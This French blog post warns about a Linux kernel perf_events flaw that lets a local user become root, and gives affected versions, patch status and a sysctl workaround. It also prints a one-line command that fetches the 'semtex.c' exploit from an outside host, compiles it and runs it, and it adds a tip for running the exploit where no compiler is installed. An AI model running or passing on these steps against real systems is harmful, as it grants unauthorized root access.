(modifié le 15 mai 2015 à 14:48)

Une faille très bête mais très efficace touche le kernel Linux. Elle concerne les kernels compris entre :

  • 2.6.37 et la à 3.8.8 (inclus)
  • 2.6.32 et 3.8.8 uniquement pour RedHat/CentOS

si une valeur précise est activée dans les options de compilations du noyau : CONFIG_PERF_EVENTS.

Elle permet à un simple utilisateur de devenir root, sans mot de passe bien sûr (peut aussi faire crasher le système).

exploit-root-linux

A la différence des failles généralement découvertes celle-ci est très simple à utiliser, voici comment s'en prémunir.

L'exploit

En cause : la mauvaise déclaration d'un pointeur rapidement corrigé sur le dépôt git de kernel.org.

Ayant fraîchement installé Debian 7, je n'ai pas tardé de me rendre compte que la faille fonctionne parfaitement comme le montre l'illustration du billet ci-dessus.

Pour utiliser l'exploit :

wget http://fucksheep.org/~sd/warez/semtex.c --quiet && gcc-4.6 -O2 semtex.c && ./a.out

Une fois la faille corrigée vous obtiendrez : a.out: semtex.c:51: sheep: Assertion `!close(fd)' failed.

Autant le dire : ne trainez pas à corriger cette faille !

Du côté des Debian cela a été corrigé dans Wheezy (stable) avec le déploiement du kernel 3.2.41-2+deb7u2, pour les autres distributions le lien est présent en haut de la page de correctif Debian. RHEL 4 et 5 ne seraient pas affecté d'après RedHat, contrairement à la version 6 et MRG 2 (source).

Si vous êtes chez OVH je vous invite à lire le topic associé puisque les kernels sont déjà dispo.

Si vous ne voulez pas patcher de suite, vous pouvez contourner le problème de la façon suivante :

  1. Ajouter "kernel.perf_event_paranoid = 2" dans le fichier /etc/sysctl.conf
  2. Exécuter la commande suivante en étant root (pour éviter le reboot) :  sysctl -p

A vos upgrade, et vite car déjà plus de 48h se sont écoulées avant l'arrivée du patch.

Attention : même si GCC n'est pas disponible dans un environnement (chrooté par exemple) rien n'empêche de compiler avec GCC sur un serveur ayant la même architecture puis de récupérer le binaire afin de l’exécuter. Là aussi c'est bête, mais ça fonctionne si votre serveur est faillible.

Auteur : Mr Xhark

Fondateur du blog et passionné par les nouvelles techno, suivez-moi sur twitter